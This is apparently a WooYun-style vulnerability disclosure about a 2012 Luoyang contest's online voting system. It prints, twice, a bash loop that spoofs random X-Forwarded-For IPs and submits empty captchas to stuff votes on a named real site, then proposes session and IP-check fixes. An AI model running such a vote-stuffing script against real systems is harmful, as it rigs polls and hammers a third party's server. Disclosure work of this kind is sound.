简要描述：存在IP绕过 漏洞 存在验证码绕过漏洞 详细说明： #!/bin/bash # author @十三乙 # vote for http://weibo.com/1680241201/y9ZarqaHo # http://www2.lyd.com.cn:8080/ph. asp REFERER="http://www2.lyd.com.cn:8080/ph.asp"; USER_AGENT="Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.79 Safari/535.11"; while true; do FAKEIP="$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 255))" curl -X POST -H "X-Forwarded-For:$FAKEIP" -H "Referer:$REFERER" -H "UserAgent:$USER_AGENT" -d "toupiao_id=24&votecode=&x=79&y=38" "http://www2.lyd.com.cn:8080/tp_sub.asp" done 漏洞证明：@李铁根 ： 越是身处喧嚣迷乱的尘世，越要坚持真实的自己。在这个去伪存真的日子，伸出你有爱的双手，帮忙在洛阳首届胸模大赛中投康艳艳一票吧。http://t.cn/zOMyhTb #!/bin/bash # author @十三乙 # vote for http://weibo.com/1680241201/y9ZarqaHo # http://www2.lyd.com.cn:8080/ph.asp REFERER="http://www2.lyd.com.cn:8080/ph.asp"; USER_AGENT="Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.79 Safari/535.11"; while true; do FAKEIP="$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 255))" curl -X POST -H "X-Forwarded-For:$FAKEIP" -H "Referer:$REFERER" -H "UserAgent:$USER_AGENT" -d "toupiao_id=24&votecode=&x=79&y=38" "http://www2.lyd.com.cn:8080/tp_sub.asp" done 修复方案：验证码绕过：初始化session中的验证码、处理post请求时判断验证码是否为空。 IP绕过：综合RemoteAddress和XFF判断是否重复投票。 可参考： 浅谈新形势下在线Web投票系统的攻防(1)/(2) http://www.2cto.com/Article/201203/123445. html http://www.2cto.com/Article/201203/123447.html 作者 mckelvin@乌云
查看更多关于2012洛阳首届胸模大赛投票系统刷票漏洞及修复的详细内容...